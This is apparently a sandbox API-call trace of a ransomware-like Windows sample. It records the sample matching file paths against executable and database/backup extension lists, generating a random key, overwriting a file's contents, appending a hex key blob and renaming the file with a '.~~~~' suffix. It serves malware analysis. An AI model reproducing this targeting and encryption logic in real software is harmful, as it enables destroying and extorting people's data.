	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".ckp") returned 0x0
	[0081.681] lstrlenW (lpString=".dbt") returned 4
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".dbt") returned 0x0
	[0081.681] lstrlenW (lpString=".db") returned 3
	[0081.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".db") returned 0x0
	[0081.682] lstrlenW (lpString=".TXT") returned 4
	[0081.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".TXT") returned 0x0
	[0081.682] lstrlenW (lpString=".MDF") returned 4
	[0081.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".MDF") returned 0x0
	[0081.682] lstrlenW (lpString=".bdb") returned 4
	[0081.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".bdb") returned 0x0
	[0081.682] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.682] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.683] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.683] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.683] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20167323129) returned 1
	[0081.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a89bc70, dwHighDateTime=0x1d60e1e)) 
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe520
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe520 | out: hHeap=0x300000) returned 1
	[0081.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.684] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.684] GetLastError () returned 0x0
	[0081.684] GetLastError () returned 0x0
	[0081.684] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.684] GetLastError () returned 0x0
	[0081.684] GetLastError () returned 0x0
	[0081.684] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.757] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.758] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.760] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.760] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.791] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.791] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.791] CloseHandle (hObject=0x120) returned 1
	[0081.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a2e0
	[0081.846] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.~~~~")) returned 1
	[0081.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0081.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.848] GetLastError () returned 0x0
	[0081.848] RtlWakeConditionVariable () returned 0x365f70
	[0081.848] GetCurrentThreadId () returned 0x9f4
	[0081.848] GetCurrentThreadId () returned 0x9f4
	[0081.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100) returned 0x3ac250
	[0081.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe7c8 | out: hHeap=0x300000) returned 1
	[0081.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6a8 | out: hHeap=0x300000) returned 1
	[0081.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100) returned 0x3a7030
	[0081.849] lstrlenW (lpString=".scr") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".scr") returned 0x0
	[0081.849] lstrlenW (lpString=".cmd") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".cmd") returned 0x0
	[0081.849] lstrlenW (lpString=".dll") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dll") returned 0x0
	[0081.849] lstrlenW (lpString=".bat") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".bat") returned 0x0
	[0081.849] lstrlenW (lpString=".cpl") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".cpl") returned 0x0
	[0081.849] lstrlenW (lpString=".sys") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".sys") returned 0x0
	[0081.849] lstrlenW (lpString=".msc") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".msc") returned 0x0
	[0081.849] lstrlenW (lpString=".com") returned 4
	[0081.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".com") returned 0x0
	[0081.850] lstrlenW (lpString=".lnk") returned 4
	[0081.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".lnk") returned 0x0
	[0081.850] lstrlenW (lpString=".msp") returned 4
	[0081.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".msp") returned 0x0
	[0081.850] lstrlenW (lpString=".pif") returned 4
	[0081.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".pif") returned 0x0
	[0081.850] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch="msp\r\n.pif") returned 0x0
	[0081.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.851] lstrlenW (lpString=".sqb") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".sqb") returned 0x0
	[0081.851] lstrlenW (lpString=".ost") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".ost") returned 0x0
	[0081.851] lstrlenW (lpString=".txt") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".txt") returned 0x0
	[0081.851] lstrlenW (lpString=".mdt") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".mdt") returned 0x0
	[0081.851] lstrlenW (lpString=".BDB") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".BDB") returned 0x0
	[0081.851] lstrlenW (lpString=".eql") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".eql") returned 0x0
	[0081.851] lstrlenW (lpString=".DBF") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DBF") returned 0x0
	[0081.851] lstrlenW (lpString=".EQL") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".EQL") returned 0x0
	[0081.851] lstrlenW (lpString=".FDB") returned 4
	[0081.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".FDB") returned 0x0
	[0081.852] lstrlenW (lpString=".EDB") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".EDB") returned 0x0
	[0081.852] lstrlenW (lpString=".DACPAC") returned 7
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DACPAC") returned 0x0
	[0081.852] lstrlenW (lpString=".VHD") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".VHD") returned 0x0
	[0081.852] lstrlenW (lpString=".DBV") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DBV") returned 0x0
	[0081.852] lstrlenW (lpString=".dacpac") returned 7
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dacpac") returned 0x0
	[0081.852] lstrlenW (lpString=".sdf") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".sdf") returned 0x0
	[0081.852] lstrlenW (lpString=".accdb") returned 6
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".accdb") returned 0x0
	[0081.852] lstrlenW (lpString=".DBX") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DBX") returned 0x0
	[0081.852] lstrlenW (lpString=".MDT") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".MDT") returned 0x0
	[0081.852] lstrlenW (lpString=".SQB") returned 4
	[0081.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".SQB") returned 0x0
	[0081.853] lstrlenW (lpString=".vhd") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".vhd") returned 0x0
	[0081.853] lstrlenW (lpString=".bac") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".bac") returned 0x0
	[0081.853] lstrlenW (lpString=".mdf") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".mdf") returned 0x0
	[0081.853] lstrlenW (lpString=".BAK") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".BAK") returned 0x0
	[0081.853] lstrlenW (lpString=".BAC") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".BAC") returned 0x0
	[0081.853] lstrlenW (lpString=".dbs") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dbs") returned 0x0
	[0081.853] lstrlenW (lpString=".vhdx") returned 5
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".vhdx") returned 0x0
	[0081.853] lstrlenW (lpString=".NDF") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".NDF") returned 0x0
	[0081.853] lstrlenW (lpString=".dat") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dat") returned 0x0
	[0081.853] lstrlenW (lpString=".DBS") returned 4
	[0081.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DBS") returned 0x0
	[0081.853] lstrlenW (lpString=".CKP") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".CKP") returned 0x0
	[0081.854] lstrlenW (lpString=".edb") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".edb") returned 0x0
	[0081.854] lstrlenW (lpString=".PST") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".PST") returned 0x0
	[0081.854] lstrlenW (lpString=".dbf") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dbf") returned 0x0
	[0081.854] lstrlenW (lpString=".SQL") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".SQL") returned 0x0
	[0081.854] lstrlenW (lpString=".pst") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".pst") returned 0x0
	[0081.854] lstrlenW (lpString=".dbv") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dbv") returned 0x0
	[0081.854] lstrlenW (lpString=".SDF") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".SDF") returned 0x0
	[0081.854] lstrlenW (lpString=".dtxs") returned 5
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dtxs") returned 0x0
	[0081.854] lstrlenW (lpString=".db3") returned 4
	[0081.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".db3") returned 0x0
	[0081.854] lstrlenW (lpString=".OST") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".OST") returned 0x0
	[0081.855] lstrlenW (lpString=".dbx") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dbx") returned 0x0
	[0081.855] lstrlenW (lpString=".DB3") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DB3") returned 0x0
	[0081.855] lstrlenW (lpString=".DAT") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DAT") returned 0x0
	[0081.855] lstrlenW (lpString=".VHDX") returned 5
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".VHDX") returned 0x0
	[0081.855] lstrlenW (lpString=".ndf") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".ndf") returned 0x0
	[0081.855] lstrlenW (lpString=".DB") returned 3
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DB") returned 0x0
	[0081.855] lstrlenW (lpString=".sql") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".sql") returned 0x0
	[0081.855] lstrlenW (lpString=".MYD") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".MYD") returned 0x0
	[0081.855] lstrlenW (lpString=".DBT") returned 4
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DBT") returned 0x0
	[0081.855] lstrlenW (lpString=".ACCDB") returned 6
	[0081.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".ACCDB") returned 0x0
	[0081.855] lstrlenW (lpString=".fdb") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".fdb") returned 0x0
	[0081.856] lstrlenW (lpString=".bak") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".bak") returned 0x0
	[0081.856] lstrlenW (lpString=".myd") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".myd") returned 0x0
	[0081.856] lstrlenW (lpString=".DTXS") returned 5
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".DTXS") returned 0x0
	[0081.856] lstrlenW (lpString=".ckp") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".ckp") returned 0x0
	[0081.856] lstrlenW (lpString=".dbt") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".dbt") returned 0x0
	[0081.856] lstrlenW (lpString=".db") returned 3
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".db") returned 0x0
	[0081.856] lstrlenW (lpString=".TXT") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".TXT") returned 0x0
	[0081.856] lstrlenW (lpString=".MDF") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".MDF") returned 0x0
